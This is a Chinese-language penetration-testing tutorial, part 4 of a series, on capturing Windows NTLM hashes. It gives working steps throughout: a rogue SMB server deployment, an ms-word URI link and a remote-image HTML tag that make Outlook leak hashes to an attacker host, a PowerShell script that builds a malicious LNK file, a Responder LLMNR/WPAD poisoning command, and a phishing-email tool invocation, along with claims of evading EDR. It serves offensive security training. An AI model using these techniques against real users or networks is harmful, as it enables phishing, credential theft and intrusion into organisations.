渗透测试指南-第4部分(抓取hash和建立外部立足点)

渗透测试指南-第4部分(抓取hash和建立外部立足点)

如果你是一个渗透测试者,你会知道抓取hash的美妙之处,以及有时它是多么容易。也许您已经了解本文中的所有技术,也许您对这个主题一无所知。无论如何,我欢迎您踏上探索之旅,当我第一次了解到这些技术时,我的头脑被震撼了,我的工具箱中有一组工具,我经常在约会中使用这些工具,以助我一臂之力。

所有这些技术在过去的一个月里都经过了测试,都没有被杀毒软件感染,包括像Crowdstrike和Sentinel One这样的花哨的EDR。

在本文中,我们将介绍hash捕获:

外部:通过恶意Word文档URI处理程序哈希提取Outlook嵌入图像
内部:通过恶意LNK文件LLMNR中毒
企业基础设施
在我对公司,特别是从外部角度对公司进行测试的经验中,我注意到一些趋势。

通常在防火墙中有一个VPN端点
封锁了边界
使用Office 365(连接到AD)
通常在端点上使用Outlook和Microsoft Office
运行Windows 10
可能会使用Sharepoint, Jira或其他类似的产品
可能不使用2FA/MFA(特别是如果他们是安全新手)
在建立外部立足点时,企业基础设施的知识是无价的。典型地,使用鱼叉式钓鱼电子邮件,我们将提供以下一些外部技术。

外部散列获取方法
“外部散列抓取?”我听见你说。是的。虽然许多公司不应该允许外部端口445或SMB通信流,但它们中的许多公司都允许这样做。这让很多测试者感到惊讶,但是根据我的经验,很多公司允许中小企业离开,即使是在大部分被锁定的公司网络上。事实上,许多ISP,如康卡斯特,明确阻止SMB的消费者客户。我想知道这是不是由于想哭/永恒的蓝色蠕虫威胁,但我猜在这一点上(如果你知道为什么请告诉我!)

通常,这种攻击需要一些社会工程的顺序来让目标点或输入一些可信信号。我们将在下面介绍这些技术。你的活动在第一次启动时将会非常成功,如果你必须修正你的活动并再次启动它,你可能会从你的目标(人们)那里获得较少的兴趣,所以在发送第一封电子邮件之前一定要反复测试。

恶意框架Word文档
第一种技术涉及生成恶意的word文档,并滥用框架集远程链接到我们的响应器或pwnfile服务器。当文档成功打开时,您将获得一个用户hash。

要编写恶意文档,我建议遵循这个指南

在目标变量中,可以将其链接到VPS运行响应器或Pwnfile。

对于快速服务器,在Digital Ocean上启动服务器,安装docker,并部署PwnFile

docker build -t delta/pwnfile . && docker run -ti -p 445:445 delta/pwnfile

一旦运行,发送给受害者的恶意文档,它指向您的PwnFile/Responder/Impacket服务器。当文档打开时,您将收到hash列。

URI处理程序哈希提取

如果您以前创建并使用过framesets文档,您就会知道它需要目标来下载文档、打开文档并单击可怕的“加载外部资产”按钮。如果受害者不这样做,那么你将不会收到任何散列。通常,受过良好训练的目标不会下载和打开看起来奇怪的word文档,但他们通常会在提示时点击链接

这就是我们很快发现需要开发一种提取哈希值的新技术的地方。从我们的许多约定中,我们从用户代理日志中了解到,大约99%的客户都在使用Outlook(这一点非常重要)。

这个技巧是我的好朋友zSec分享给我的,他绝对是一个很棒的家伙,我很高兴第一次在这里分享这个技巧!

我们所做的就是滥用ms-word URI。一旦您的服务器启动,创建一个链接,内容为ms-word:ofe|u|file://192.168.1.221/share/doc.docx当点击,outlook(没有提示)将尝试连接到您的流氓SMB服务器,您将得到哈希!然后文档将打开。(假设它驻留在服务器上)。这比将framesets作为目标的Responder方法能够查看实际文档更令人信服。

如果幸运的话,您甚至可以嵌入宏来进行快速的进行攻击。

视频演示

Outlook嵌入式图像

您可能开始在这里看到一种模式。

启动PwnFile或Responder,如果使用的是PwnFile,则可以选择在文件共享中添加图像。

使用以下HTML将其链接,然后通过电子邮件将其发送到目标。

<img width="100" src="//192.168.1.221/share/filename.png">

当受害者打开电子邮件时,如果他们正在下载远程图像,则您将得到一个哈希(假设他们使用Outlook)。问题是,许多Outlook配置将不允许远程图像下载。从受感染的帐户发送到另一个帐户时,此方法最有用。

根据我的经验,通常会启用相同域(例如同事)的电子邮件的图像下载。如bob@company.comsarah@company.com

内部哈希抓取方法

LNK文件

在内部,您可能已经完成了初始枚举并找到了打开的文件共享,您可能已经实现了一定级别的访问,并且只是想升级您的访问范围和特权。

工具箱中的另一个工具是LNK文件方法。

运行以下powershell脚本:

$ip = '192.168.1.221'
$filename = 'test.ico'

$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("evil.txt.lnk")
$lnk.TargetPath = "$HOME\evil.txt"
$lnk.WindowStyle = 1
$lnk.IconLocation = "\\$ip\$filename"
Write-Output $lnk.Save()

Write-Output "Saved successfully at $HOME\evil.txt"

确保将IP更改为PwnFile/Responder服务器的IP。远程文件不必实际存在,如果没有,则不会发生任何不良情况。

将此快捷方式放在文件共享上,任何访问该目录所在目录的人都将获得其哈希值!如果您对臭名昭著的“主要”文件共享具有读/写访问权限,则全天都会遇到很多哈希。

演示版视频

LLMNR中毒

一种非常常见且众所周知的技术,用于在内部接合上抓取哈希。这可能不需要突出显示,但是它是一种非常重要的方法,因此至少需要提及。

Windows尝试解析主机名时,它将首先尝试DNS,然后尝试LLMNR,然后尝试NetBios。LLMNR和NetBios的优点在于,当用户尝试连接这些协议时,我们可以毒化这些协议并诱使受害机器连接到我们。

一个很好的用例是通过wpad。如果您想了解有关Responder如何工作的更多信息,请阅读这篇出色的文章

Responder.py被认为是LLMNR / NetBios中毒至hash的行业标准瑞士军刀。

sudo python2 Responder.py -I eth0 -wrfFP

运行此选项通常会给您打一个或两个哈希值(具体取决于环境),特别是当人们由于该--wpad  选项而打开其Web浏览器时。

结论

总之,可以使用多种方法从Windows主机提取哈希。通常,在许多日常工作中,尤其是内部测试人员中,获取和破解哈希值是核心要素。请继续关注下一个渗透测试者指南,该指南将包括如何处理新发现的哈希,包括NTLM中继。

如果您想要一种简单的方法来尝试其中的一些方法,建议您看一下我们本周刚刚发布的名为[Apollo](https://github.com/navisecdelta/Apollo)的工具。Apollo是用于发送电子邮件的命令行工具,并支持ERB模板。包含MS-Uri方法和远程映像方法的模板都预加载了Apollo。如何使用MS-Uri发送电子邮件的示例如下:

./Apollo.rb --template Uri --email target.email@outlook.com --subject "Evil Email" --identity john --vars "ip=192.168.1.221,share=share,filename=certificate.docx"

from